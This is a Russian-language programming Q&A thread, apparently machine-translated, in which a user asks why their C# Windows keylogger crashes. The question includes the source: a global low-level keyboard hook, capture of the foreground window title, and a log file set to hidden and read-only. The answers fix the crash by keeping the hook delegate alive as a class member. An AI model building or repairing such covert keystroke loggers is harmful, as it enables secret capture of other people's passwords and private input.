Сбой программы Keylogger
Я работал над клавиатурным шпионом в C#, окнами, и я застрял в какой-то момент. Когда я запускаю свой код, он работает нормально и записывает 20-25 нажатий клавиш, но после этого программа неожиданно падает и эти отображаются сообщения об ошибках: (первое полностью меня сбивает с толку)
1. Был выполнен обратный вызов для делегата со сборщиком мусора типа 'karan_keylogger! Karan_keylogger.Form1+LowLevelKeyboardProc::Invoke'. Это может вызвать сбои приложения, повреждение и потерю данных. При передаче делегатов в неуправляемый код управляемое приложение должно поддерживать их работу до тех пор, пока не будет гарантировано, что они никогда не будут вызваны.
2. Затем он показывает "Ссылка на объект не установлена для экземпляра объекта. (Я знаком с этим)
Код выглядит следующим образом:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;
namespace karan_keylogger
{
public partial class Form1 : Form
{
KeysConverter kc;
private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
//private static LowLevelKeyboardProc keyhook = detect;
StreamWriter sw;
private const int WM_KEYDOWN = 0x0100;
bool shiftDown, inBetween, numLockPressed;
string currWindow, prevWindow,path;
IntPtr x;
[DllImport("User32.dll")]
public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
[DllImport("User32.dll")]
public static extern int GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public Form1()
{
InitializeComponent();
kc = new KeysConverter();
path="E:\\data.txt";
shiftDown = false;
//shiftUp = true;
inBetween = false;
numLockPressed = false;
currWindow = getTitle();
prevWindow = currWindow;
File.SetAttributes(path,FileAttributes.Normal);
sw = new StreamWriter(path, true);
sw.AutoFlush = true;
sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"- ");
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
Process curProcess = Process.GetCurrentProcess();
ProcessModule curModule = curProcess.MainModule;
//private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
UnhookWindowsHookEx(x);
}
private string getTitle()
{
int handle = GetForegroundWindow();
StringBuilder sb = new StringBuilder(1000);
GetWindowText(handle, sb, 1000);
string winText = sb.ToString();
return winText;
}
private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
{
// logic for keystroke storing
return CallNextHookEx(x, ncode, wparam, lparam);
}
}
}
Буду признателен за любую помощь, это любимый проект!..
2 ответа
Как говорится в сообщении об ошибке, неуправляемый код не будет поддерживать управляемые ресурсы. Вы создаете локальную переменную, keyhook
и передать его SetWindowHookEx
(т.е. в неуправляемый код).
Затем вы выходите из конструктора, keyhook
переменная выходит из области видимости, с точки зрения вашего кода, на нее больше нет ссылок, а это означает, что она готова к сборке мусора. Но неуправляемый код будет продолжать использовать его. Когда включается сборщик мусора, делегат теряется, и вы получите сообщение об ошибке.
Просто объявите ваш делегат как член класса, а не как локальную переменную.
private LowLevelKeyboardProc keyhook;
Сделайте keyhook членом вашей формы вместо локальной переменной в конструкторе
public partial class Form1: Form
{
LowLevelKeyboardProc keyhook;
public Form1()
{
keyhook = new LowLevelKeyboardProc(detect);
}
}